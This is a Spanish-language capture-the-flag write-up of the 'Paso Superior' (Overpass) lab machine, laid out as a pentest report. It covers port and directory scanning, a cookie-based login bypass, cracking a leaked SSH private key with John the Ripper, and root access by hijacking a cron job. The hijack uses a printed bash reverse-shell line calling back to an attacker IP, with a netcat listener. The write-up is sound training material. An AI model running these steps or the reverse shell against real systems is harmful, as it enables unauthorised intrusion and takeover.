**Informe Profesional sobre la Máquina CTF "Paso Superior"**

**Resumen Ejecutivo:**

El presente informe detalla los pasos y resultados obtenidos durante la realización del desafío CTF en la máquina llamada "Paso Superior". El objetivo principal del desafío fue evaluar y explotar diversas vulnerabilidades utilizando la metodología OWASP TOP 10.

A continuación, se presentan los hallazgos clave, las acciones realizadas y los resultados obtenidos durante la ejecución del desafío.

1. **Análisis de Puertos utilizando Nmap:**

Durante el análisis de puertos utilizando la herramienta Nmap, se identificaron los siguientes servicios abiertos:

* Puerto 22/tcp: Servicio SSH (OpenSSH 7.6p1 Ubuntu 4ubuntu0.3).
* Puerto 80/tcp: Servicio HTTP (Servidor Golang net/http).

***Comandos:***

* ***nmap -A <ip>***
* ***nmap -sS -sV <ip>***

1. **Enumeración de Directorios utilizando Gobuster:**

Utilizando la herramienta Gobuster con el archivo de lista de directorios "directory-list-2.3-small.txt", se identificaron los siguientes directorios:

* /img (Estado: 301) [Tamaño: 0] [Redirección: img/]
* /downloads (Estado: 301) [Tamaño: 0] [Redirección: downloads/]
* /aboutus (Estado: 301) [Tamaño: 0] [Redirección: aboutus/]
* /admin (Estado: 301) [Tamaño: 42] [Redirección: /admin/]
* /css (Estado: 301) [Tamaño: 0] [Redirección: css/]

***Comandos:***

* ***gobuster dir -u http://<IP>/ -w /usr/share/wordlists/rockyou.txt***

1. **Prueba de Inyección SQL utilizando SQLMap:**

Se realizó un intento de prueba de inyección SQL utilizando la herramienta SQLMap en el directorio /admin. Sin embargo, el resultado indicó que los parámetros "password" y "user" no parecen ser susceptibles a inyección.

***Comandos:***

* ***sqlmap -u http://10.10.130.185/admin --forms --dump***

1. **Análisis del Código Fuente de la Página "admin":**

Al examinar el código fuente de la página "admin", se encontró un archivo JavaScript llamado "login.js" con el siguiente contenido:

javascript

Copy code

async function login() {

const usernameBox = document.querySelector("#username");

const passwordBox = document.querySelector("#password");

const loginStatus = document.querySelector("#loginStatus");

loginStatus.textContent = "";

const creds = { username: usernameBox.value, password: passwordBox.value };

const response = await postData("/api/login", creds);

const statusOrCookie = await response.text();

if (statusOrCookie === "Incorrect credentials") {

loginStatus.textContent = "Incorrect Credentials";

passwordBox.value = "";

} else {

Cookies.set("SessionToken", statusOrCookie);

window.location = "/admin";

}

}

1. **Creacion de la Cookie:**

Se creo una cookie con el nombre de SessionToken y al actualizar la pagina nos encontramos con la información:

Since you keep forgetting your password, James, I've set up SSH keys for you.

If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.

Also, we really need to talk about this "Military Grade" encryption. - Paradox

-----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4,ENCRYPTED

DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN

JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal

73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT

WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv

BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ

AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR

3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf

ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk

VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR

OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P

9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze

eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ

4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8

GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn

exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy

AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk

6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58

dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i

n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT

8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K

4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z

ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS

49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2

+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk

2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7

-----END RSA PRIVATE KEY-----

1. **Obtención de Clave Privada RSA y Acceso SSH:**

Creamos un archivo llamado "id\_rsa" que contenía con el contenido del anterior paso. Se utilizó la herramienta "ssh2john" para convertir la clave privada en un formato compatible con John the Ripper. Luego, se utilizó John the Ripper con el diccionario "rockyou.txt" para descifrar la contraseña asociada a la clave privada. La contraseña obtenida fue "james13".

Se procedió a utilizar la clave privada para establecer una conexión SSH con el usuario "james" en la máquina objetivo.

***Comandos:***

* ***ssh2john id\_rsa > hash.txt***
* ***john hash.txt --wordlist=dicc.txt***
* ***ssh -i id\_rsa james@10.10.136.162***

1. **Exploración de la Máquina Objetivo:**

Una vez establecida la conexión SSH con el usuario "james", se exploró la máquina objetivo en busca de información relevante. Se encontró un archivo llamado "To Do" que contenía tareas pendientes, así como también se revisaron los archivos "/etc/crontab" y "/etc/hosts" para obtener información adicional.

1. **Explotación de la Vulnerabilidad en el Script de Actualización:**

Al analizar el archivo "/etc/crontab", se identificó un script de actualización que se ejecutaba cada minuto utilizando el comando curl y bash. Se descargó dicho script y se modificó agregando una línea que permitiría obtener una reverse shell en nuestra máquina.

Comando agregado en la primer linea: ***/bin/bash -i >& /dev/tcp/10.8.83.251/4444 0>&1***

Para llevar a cabo la explotación, se creó la estructura de directorios "/download/src" en la máquina objetivo y se movió el script modificado allí para que coincidiera con la ruta especificada en el archivo crontab.

Además, se modificó el archivo "/etc/hosts" para que la dirección IP de nuestra máquina estuviera asociada al dominio "overpass.thm".

1. **Establecimiento de Reverse Shell y Obtención de Privilegios:**

Se levantó un servidor HTTP en nuestra máquina y se configuró para servir el script modificado "buildscript.sh". Posteriormente, se inició una escucha en el puerto 4444 utilizando el comando "nc -lvp 4444".

Cuando el script de actualización fue ejecutado en la máquina objetivo, se estableció una conexión de reverse shell desde la máquina objetivo a nuestra máquina, permitiéndonos obtener acceso con privilegios.

***Comandos:***

* ***Python3 -m http.server 80***
* ***nc -lvp 4444***

1. **Conclusiones y Recomendaciones:**

Durante la ejecución del desafío CTF en la máquina "Paso Superior", se logró obtener acceso a la máquina objetivo mediante la explotación de diversas vulnerabilidades. A continuación, se presentan las conclusiones y recomendaciones clave:

* Se identificaron vulnerabilidades como la posibilidad de inyección SQL y una clave privada RSA expuesta, lo que indica una falta de seguridad en la configuración de la máquina.
* Se recomienda actualizar y fortalecer la encriptación utilizada por el servicio Overpass, así como implementar medidas de seguridad adicionales para proteger las claves privadas.
* Se sugiere evitar almacenar contraseñas en notas adhesivas y utilizar un gestor de contraseñas seguro para almacenar y gestionar las credenciales.
* Es importante realizar pruebas de seguridad regulares y aplicar parches de seguridad para prevenir futuras vulnerabilidades y garantizar la integridad y confidencialidad de los datos.